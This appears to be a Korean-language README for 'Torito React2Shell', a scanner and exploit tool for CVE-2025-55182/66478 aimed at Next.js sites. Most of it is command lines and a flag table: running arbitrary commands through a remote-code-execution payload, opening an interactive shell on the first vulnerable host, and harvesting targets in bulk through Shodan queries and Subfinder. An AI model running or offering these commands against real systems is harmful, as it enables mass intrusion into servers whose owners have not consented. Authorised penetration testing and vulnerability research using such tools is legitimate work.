
Torito React2Shell 스캐너 및 익스플로잇 도구 (CVE-2025-55182 / 66478)
pip install -r requirements.txt--subfinder를 위한 PATH 내 Subfinder 바이너리 (Homebrew brew install subfinder 또는 Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest로 설치; 프로젝트: https://github.com/projectdiscovery/subfinder)pip install shodan이 필요하며(이미 requirements에 포함됨) 그리고 키: export SHODAN_API_KEY=... 및 사용 가능한 쿼리 크레딧이 필요합니다.python3 torito_r2s.py --help
안전한 프로브 (단일 대상)
python3 torito_r2s.py -u https://target.com
PoC 확인 (사이드 채널 리디렉션)
python3 torito_r2s.py -u https://target.com --confirm
사용자 지정 명령어로 익스플로잇
python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
첫 번째 적중 시 대화형 셸
python3 torito_r2s.py -u https://target.com --shell
내보내기로 목록 스캔
python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
Shodan 전용 (키와 크레딧 필요)
export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
Subfinder 전용
python3 torito_r2s.py --subfinder target.com --confirm
프록시 (Burp/Caido)
python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
stdin을 통한 파이프라인
cat urls.txt | python3 torito_r2s.py --confirm
--exploit-cmd 또는 --shell이 있을 때만 실행됩니다.| Flag | Description | Default |
|---|
-u, --url URL | 단일 대상 URL | — |
-l, --list FILE | 대상이 포함된 파일 (한 줄에 하나씩) | — |
--subfinder DOMAIN | 도메인에 대해 subfinder 실행 후 결과 추가 | — |
--shodan QUERY | Shodan 검색 (SHODAN_API_KEY와 크레딧 필요) | — |
--shodan-limit N | 쿼리당 최대 Shodan 결과 수 | 100 |
-t, --threads N | 동시 실행 수 | 20 |
--timeout SEC | 요청 타임아웃 | 10 |
--proxy URL | HTTP/HTTPS 프록시 | — |
--confirm | 프로브 후 리디렉션 기반 PoC 실행 | off |
--exploit-cmd "CMD" | 명령어로 RCE 페이로드 실행 | — |
--shell, -i | 첫 번째 익스플로잇 성공 시 대화형 셸 열기 (기본 명령어는 id) | off |
--json-out FILE | JSON 결과 저장 | — |
--csv-out FILE | CSV 결과 저장 | — |
-v, --verbose | 디코딩된 출력/다이제스트를 테이블에 표시 | off |